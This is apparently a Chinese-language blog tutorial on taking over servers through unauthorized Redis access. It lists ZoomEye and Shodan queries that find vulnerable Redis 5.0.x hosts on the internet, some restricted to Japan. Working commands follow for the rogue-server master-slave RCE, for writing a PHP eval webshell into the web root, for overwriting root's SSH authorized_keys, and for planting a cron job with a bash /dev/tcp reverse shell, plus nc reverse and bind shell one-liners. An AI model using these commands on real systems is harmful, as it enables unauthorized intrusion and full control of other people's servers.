跳转至

Redis 未授权访问渗透之旅

感谢以下文章和工具: GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

NC反弹shell的几种方法 - ctrl_TT豆 - 博客园

Redis未授权访问漏洞利用及防护措施(非常详细)_redis无密码执行shell_7Riven的博客-CSDN博客

Redis漏洞总结 - FreeBuf网络安全行业门户

redis 的靶机的漏洞复现的前提条件:

redis都是使用root用户进行运行,否则很多保存文件的操作无法实现,也就无法实现webshell 上传,修改ssh公钥,修改计划任务。

所以web站点凡是使用redis中间件,都要进行基线检查加固,防止黑客利用未授权访问漏洞提权,造成主机失陷。

一、目标探测

通过物联网搜索引擎,筛选出存在 远程主从复制RCE 的 目标规则,

只适用于 redis 主从复制RCE漏洞 。

  1. zoomeye(钟馗之眼)
  2. port:"6379" +country:"日本" +app:"Redis key-value store" +Banner:"redis_version:5.0.3"
  3. port:"6379" +app:"Redis key-value store" +Banner:"redis_version:5.0.5" -country:"CN" +after:"2023-01-01" +country:"JP"

Banner 是通过报文回复内容,筛选出关键字,防止空军,并且过滤掉关闭未授权访问的redis主机ip。从而实现精准获取目标主机,进行实操。

  1. shodan

port:"6379" product:"Redis key-value store" version:"5.0.4" -country:"CN" port:"6379" product:"Redis key-value store" version:"5.0.3" -country:"CN" port:"6379" product:"Redis key-value store" version:"5.0.2" -country:"CN"

其他提权方式的条件过多,很难进行规则筛选。

二、多种漏洞原理

1. 远程主从复制RCE

漏洞原理

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

漏洞复现

redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。

Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

执行反弹

python3 redis-rogue-server.py -rhost (靶机IP) -lhost (反弹shell IP)

选择交互式的shell(interactive shell) 或者反弹shell(reserve shell),这里选择的是交互式;若是选择反弹的如下:

这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。

获取权限后使用反弹shell,连接攻击机,

bash -i >& /dev/tcp/(LHOST IP)/9999 0>&1 nc -lvnp 9999

./redis-rce.py -r (目标IP) -L (反弹IP) -f ./exp.so

2. 上传webshell 获取权限

靶机开启着web服务存,并且是默认web目录的路径,并且具有读写增删改查的权限。

即可通过redis 未授权访问漏洞,上传webshell文件,使用远程连接工具蚁剑达到控制服务器的目的。

config set dir /var/www/html/ 
  //切换到网站的根目录
config set dbfilename shell.php
  //在磁盘中生成木马文件
set xxx "\n\n\n<?php @eval($_POST['pass']);?>\n\n\n" 
  //写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save
  //将内存中的数据导出到磁盘
config get dir
  //即可查看保存路径 ,确保路径无误

3. redis密钥登录 ssh

漏洞原理:

在数据库中插入一条数据,将本机的公钥作为value,key值随意。然后通过修改靶机redis保存目录,默认路径为/root/.ssh 和默认authorized_keys的公钥值,实现攻击者的远程登录。

authorized_keys

当客户端尝试连接到服务器时,服务器会检查客户端提供的私钥是否与其在 authorized_keys 文件中存储的公钥匹配

漏洞复现: root # ssh-keygen -t rsa // 攻击机shell 生成本机的ssh公钥,默认保存位置为 /root/.ssh/ root # cd /root/.ssh/ root # echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt root # cat key.txt

cat key.txt | redis-cli -h 靶机IP -x set xxx   
//-x 代表从标准输入读取数据作为该命令的最后一个参数。key:xxx,value:公钥。

登录redis 开始修改公钥文件
config set dir /root/.ssh
config set dbfilename authorized_keys
save      //ok即可
config get dir
//即可查看保存路径 ,确保路径无误

攻击者开始连接靶机

ssh -i id_rsa root@(靶机IP)
或者
ssh (靶机IP)

4.利用计划任务反弹shell

在大多数 Linux 系统中,包括 Ubuntu、Debian 和 CentOS,crontab 的默认行为类似。

例如,它们通常使用 Vixie cron 或 systemd-cron 作为 cron 守护进程,并把用户的 crontab 文件存储在 /var/spool/cron/crontabs 目录或者 /var/spool/cron中。

centos的定时任务目录在/var/spool/cron/目录下,

kali和ubuntu的定时任务文件在/var/spool/cron/crontabs目录下

利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。

攻击者先开始nc侦听:

root#nc -lvp 7777
连接redis,写入反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/7777 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/   //或者 /var/spool/cron/crontabs 
config set dbfilename root     // 计划任务的文件名为root
save   // ok
config get dir
//即可查看保存路径 ,确保路径无误

未验证:root文件的权限必须为600,否则会出现 cron[53948]: (root) INSECURE MODE (mode 0600 expected)

四、归纳总结

【趣话Redis第一弹】我是Redis,MySQL大哥被我坑惨了!_哔哩哔哩_bilibili

这个视频帮助我快速认识redis ,redis与数据库之间的关系,以及redis 哨兵模式和高可用性的工作原理。

常见NC获取shell的方法

正向反弹shell

ubuntu或者CentOS上面输入

nc -lvp 7777 -e /bin/bash
kali上输入
nc ip 7777
正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。

需要目标机安装nc。

反向反弹shell

方法1:bash反弹

bash -i >& /dev/tcp/ip/port 0>&1
但首先需要在kali上使用nc监听端口:
nc -lvp 7777
此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。

linuxshell alias 命令替换语法

alias t="./redis-rogue-server.py  --lhost 1 --rhost"
alias c="./redis-rce.py -L -f exp.so -r "